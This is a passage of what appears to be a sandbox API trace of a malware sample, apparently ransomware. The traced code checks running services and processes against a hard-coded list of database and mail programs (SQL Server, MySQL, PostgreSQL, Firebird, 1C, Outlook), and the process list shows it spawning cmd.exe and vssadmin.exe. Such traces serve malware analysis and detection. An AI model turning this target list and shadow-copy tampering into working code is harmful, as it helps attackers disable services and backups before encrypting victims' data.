(lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.979] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0037.979] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0037.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0037.979] lstrlenW (lpString="WdiSystemHost") returned 13 [0037.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.979] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0037.979] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0037.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0037.979] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0037.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.979] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0037.979] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0037.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0037.979] lstrlenW (lpString="Winmgmt") returned 7 [0037.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0037.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0037.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0037.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0037.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0037.979] lstrlenW (lpString="WPDBusEnum") returned 10 [0037.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0037.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0037.979] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0037.979] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0037.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0037.979] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0037.980] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0037.984] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.984] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0037.985] lstrlenW (lpString="System") returned 6 [0037.985] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0037.985] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0037.985] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0037.985] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0037.985] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0037.985] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0037.985] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0037.985] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0037.986] lstrlenW (lpString="smss.exe") returned 8 [0037.986] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0037.986] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0037.986] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0037.986] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0037.986] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0037.986] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0037.986] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0037.986] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.986] lstrlenW (lpString="csrss.exe") returned 9 [0037.986] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0037.987] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0037.987] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0037.987] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0037.987] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0037.987] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0037.987] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0037.987] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0037.987] lstrlenW (lpString="wininit.exe") returned 11 [0037.987] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0037.987] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0037.987] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0037.987] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0037.987] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0037.987] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0037.987] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0037.987] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.988] lstrlenW (lpString="csrss.exe") returned 9 [0037.988] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0037.988] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0037.988] lstrlenW (lpString="winlogon.exe") returned 12 [0037.988] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0037.989] lstrlenW (lpString="services.exe") returned 12 [0037.989] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0037.989] lstrlenW (lpString="lsass.exe") returned 9 [0037.989] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0037.990] lstrlenW (lpString="lsm.exe") returned 7 [0037.990] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.990] lstrlenW (lpString="svchost.exe") returned 11 [0037.990] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.991] lstrlenW (lpString="svchost.exe") returned 11 [0037.991] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.991] lstrlenW (lpString="svchost.exe") returned 11 [0037.991] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.992] lstrlenW (lpString="svchost.exe") returned 11 [0037.992] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.992] lstrlenW (lpString="svchost.exe") returned 11 [0037.992] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0037.993] lstrlenW (lpString="audiodg.exe") returned 11 [0037.993] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.993] lstrlenW (lpString="svchost.exe") returned 11 [0037.993] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.994] lstrlenW (lpString="svchost.exe") returned 11 [0037.994] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0037.994] lstrlenW (lpString="dwm.exe") returned 7 [0037.994] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0037.995] lstrlenW (lpString="explorer.exe") returned 12 [0037.995] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0037.995] lstrlenW (lpString="spoolsv.exe") returned 11 [0037.995] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.996] lstrlenW (lpString="taskhost.exe") returned 12 [0037.996] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.996] lstrlenW (lpString="svchost.exe") returned 11 [0037.996] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0037.997] lstrlenW (lpString="taskeng.exe") returned 11 [0037.997] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.997] lstrlenW (lpString="taskhost.exe") returned 12 [0037.997] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0037.998] lstrlenW (lpString="dear.exe") returned 8 [0037.998] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0037.998] lstrlenW (lpString="b costa.exe") returned 11 [0037.998] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0037.999] lstrlenW (lpString="rc lock.exe") returned 11 [0037.999] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0037.999] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0037.999] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0038.000] lstrlenW (lpString="hugown.exe") returned 10 [0038.000] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0038.000] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0038.000] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0038.001] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0038.001] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0038.002] lstrlenW (lpString="locked welsh.exe") returned 16 [0038.002] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0038.002] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0038.002] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0038.003] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0038.003] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0038.003] lstrlenW (lpString="planners.exe") returned 12 [0038.003] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0038.004] lstrlenW (lpString="agreements.exe") returned 14 [0038.004] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0038.004] lstrlenW (lpString="tray.exe") returned 8 [0038.004] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0038.005] lstrlenW (lpString="wp std.exe") returned 10 [0038.005] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0038.005] lstrlenW (lpString="lesser.exe") returned 10 [0038.005] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0038.006] lstrlenW (lpString="right-tissue.exe") returned 16 [0038.006] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0038.006] lstrlenW (lpString="bunch.exe") returned 9 [0038.006] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0038.007] lstrlenW (lpString="jam.exe") returned 7 [0038.007] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0038.007] lstrlenW (lpString="chooseincidence.exe") returned 19 [0038.007] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0038.008] lstrlenW (lpString="numericalrear.exe") returned 17 [0038.008] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0038.008] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0038.008] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0038.009] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0038.009] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0038.009] lstrlenW (lpString="come_wave.exe") returned 13 [0038.009] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.010] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.010] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.010] lstrlenW (lpString="dllhost.exe") returned 11 [0038.010] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.011] lstrlenW (lpString="dllhost.exe") returned 11 [0038.011] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0038.011] lstrlenW (lpString="uyuquk.exe") returned 10 [0038.011] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0038.012] lstrlenW (lpString="cmd.exe") returned 7 [0038.012] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0038.012] lstrlenW (lpString="conhost.exe") returned 11 [0038.012] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0038.013] lstrlenW (lpString="vssadmin.exe") returned 12 [0038.013] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0038.013] lstrlenW (lpString="VSSVC.exe") returned 9 [0038.013] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0038.014] CloseHandle (hObject=0x1b0) returned 1 [0038.014] Sleep (dwMilliseconds=0x1f4) [0038.869] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d90 [0038.870] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, 